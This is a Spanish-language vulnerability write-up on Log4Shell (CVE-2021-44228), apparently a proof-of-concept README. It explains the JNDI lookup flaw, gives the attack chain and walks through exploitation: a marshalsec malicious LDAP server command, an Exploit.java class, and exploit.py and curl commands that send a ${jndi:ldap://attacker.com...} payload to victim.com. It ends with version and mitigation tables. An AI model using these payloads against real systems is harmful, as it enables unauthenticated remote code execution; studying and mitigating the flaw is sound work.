
CVE-2021-44228 Log4Shell - Apache Log4j2 JNDI Injection RCE
CVSS 10.0 CRÍTICO | CWE-502: Deserialización de Datos No Confiables | CWE-917: Neutralización Incorrecta para Inyección de Lenguaje de Expresión
Log4Shell (CVE-2021-44228) es posiblemente la vulnerabilidad más grave de la década de 2020, afectando a Apache Log4j2 versiones 2.0 hasta 2.14.1. Descubierta por Chen Zhaojun de Alibaba Cloud Security en noviembre de 2021 y divulgada públicamente el 9 de diciembre de 2021, permite la ejecución remota de código no autenticada en cientos de millones de servidores en todo el mundo.
La vulnerabilidad surge de la funcionalidad de búsqueda JNDI (Java Naming and Directory Interface) de Log4j2, que permite cadenas de búsqueda arbitrarias como ${jndi:ldap://attacker.com/a} en mensajes de registro. Cuando una cadena controlada por el usuario que contiene dicho patrón se registra, Log4j2 realiza la búsqueda JNDI, que puede cargar y ejecutar clases Java remotas.
Log4j2 introdujo una funcionalidad llamada "Message Lookup" que sustituye patrones ${...} en mensajes de registro con valores de diversas fuentes (JNDI, variables de entorno, propiedades del sistema, etc.). La clase JndiLookup (org.apache.logging.log4j.core.lookup.JndiLookup) llama a InitialContext.lookup() sobre cadenas controladas por el atacante sin una sanitización adecuada.
// Código vulnerable en JndiLookup.java
public String lookup(LogEvent event, String key) {
if (key == null) {
return null;
}
try {
// Pasa directamente la clave controlada por el atacante a la búsqueda JNDI
return JndiManager.getJndiManager().lookup(key);
} catch (...
El método lookup() delega en javax.naming.InitialContext.lookup(), que puede cargar objetos remotos desde servidores LDAP, RMI, DNS o CORBA.
1. El atacante crea el payload: ${jndi:ldap://attacker.com/a}
2. El payload ingresa al contexto de la aplicación (cabecera HTTP, entrada de usuario, etc.)
3. La aplicación registra el payload (por ejemplo, mediante registro de solicitudes)
4. Log4j2 procesa el patrón ${...} y llama a JndiLookup
5. La búsqueda JNDI consulta el servidor LDAP controlado por el atacante
6. El servidor LDAP responde con una Reference que apunta a la clase Java del atacante
7. Log4j2 / JVM obtiene y carga la clase remota
8. La clase del atacante ejecuta código arbitrario en la JVM de la aplicación
Use marshalsec para iniciar un servidor LDAP malicioso:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/#Exploit" 1389
// Exploit.java
public class Exploit {
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (Exception e) {
e.printStackTrace();
}
}
}
javac Exploit.java
python3 -m http.server 80 # Servir Exploit.class
python exploit.py --target http://victim.com --payload '${jndi:ldap://attacker.com:1389/Exploit}'
O mediante cabecera HTTP:
curl -H 'User-Agent: ${jndi:ldap://attacker.com:1389/Exploit}' http://victim.com
El exploit.py incluido proporciona:
| Versión | Estado |
|---|
| Log4j 2.0 – 2.14.1 | Vulnerable |
| Log4j 2.15.0-rc1 | Corrección parcial (bypass CVE-2021-45046) |
| Log4j 2.15.0 | Corrección limitada (JNDI deshabilitado por defecto, búsquedas limitadas) |
| Log4j 2.16.0 | JNDI deshabilitado, Message Lookups eliminados |
| Log4j 2.17.0 | Corrección final para 2.x (CVE-2021-44832) |
| Log4j 1.x | No afectado directamente (código base diferente) |
| Enfoque | Detalles |
|---|
| Actualizar Log4j | Actualizar a 2.17.0+ (2.x) o 2.12.4+ (Java 7) |
| Flag de JVM | -Dlog4j2.formatMsgNoLookups=true |
| Eliminar JndiLookup | zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class |
| Reglas WAF | Bloquear patrones ${jndi: en las solicitudes |
| Controles de Red | Bloquear LDAP/RMI saliente hacia servidores no confiables |